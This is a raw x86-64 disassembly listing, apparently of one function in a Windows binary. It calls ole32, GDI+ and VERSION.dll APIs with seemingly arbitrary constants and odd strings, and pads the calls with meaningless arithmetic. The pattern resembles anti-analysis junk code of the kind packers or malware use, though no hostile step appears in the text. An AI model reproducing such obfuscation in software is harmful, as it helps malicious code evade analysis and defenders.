call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x39c4], al
cmp byte [rsp + 0x39c4], 0x4b
je 0x1401530bf
cmp byte [rsp + 0x39c4], 0x5c
je 0x140152ff0
jmp 0x1401530d8
mov dword [rsp + 0x38], 0xee
mov rax, qword [rsp + 0x4418]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x5a
mov dword [rsp + 0x20], 0x9e
lea r9, [rsp + 0x17ea8]
mov r8d, 0x76
mov edx, 0x22
lea rcx, [rsp + 0x4030]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
call qword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [rsp + 0x212c], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
lea rdx, [rsp + 0x4418]
mov ecx, 0xe2
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x20fc], eax
jmp 0x1401530d8
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
shl eax, cl
mov byte [rsp + 0xfb], al
jmp 0x1401531a4
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov byte [rsp + 0x39c8], al
cmp byte [rsp + 0x39c8], 0xeb
je 0x1401530fb
jmp 0x1401530fd
jmp 0x140153136
movzx eax, word [rsp + 0x8ec]
add eax, 0x351
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xf9]
xor eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3a78], rax
lea rcx, [rsp + 0xfa]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x20dc], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
shl eax, 1
mov word [rsp + 0x8ec], ax
mov r9d, 0x49
mov r8w, 0xf0
movzx edx, byte [rsp + 0x7c]
mov cx, 0x2f
call fcn.140154120
nop
lea rdx, [rsp + 0x3fe0]
lea rcx, [rsp + 0x17f18]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x20fc], eax
jmp 0x14015322f
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x91a5dbdb7b66efac
mov rcx, qword [rsp + 0x3f98]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x41ae859f2d1883c
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
movabs rax, 0x68d8493be37abbc0
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
lea r8, [rsp + 0x20a0]
lea rdx, [rsp + 0x17e78]
mov ecx, 0xf3
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x2178], eax
jmp 0x140153314
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
lea rdx, [rsp + 0x17e98]
lea rcx, str.immediacy
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x20dc], eax
movabs rax, 0x1ef7a1e211964dca
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
lea r8, [rsp + 0x8ec]
mov edx, 0xfc
lea rcx, [rsp + 0x17ec8]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x20fc], eax
movabs rax, 0x6497bc6d3db1239
mov rcx, qword [0x1401a0008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
lea r8, [rsp + 0x17ea8]
lea rdx, [rsp + 0x17f68]
lea rcx, [rsp + 0x8ec]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x20e8], eax
movabs rax, 0xf4d36742d4de1f41
mov rcx, qword [0x1401a0008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
lea rax, [rsp + 0x4470]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x42a8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x41a0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x4470]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x41e0]
mov r8, qword [rsp + 0x4470]
mov rdx, qword [rsp + 0x42a8]
mov ecx, 0xef
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x209c], eax
lea rax, [rsp + 0x41a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x4218]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x183e0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x183e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x42a8]
mov r8, qword [rsp + 0x4470]
lea rdx, str.EffigiesUnderdevelopmentFirefly
mov ecx, 0x35
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x1fa8]
add rsp, 0x190a8
pop rdi
pop rsi
ret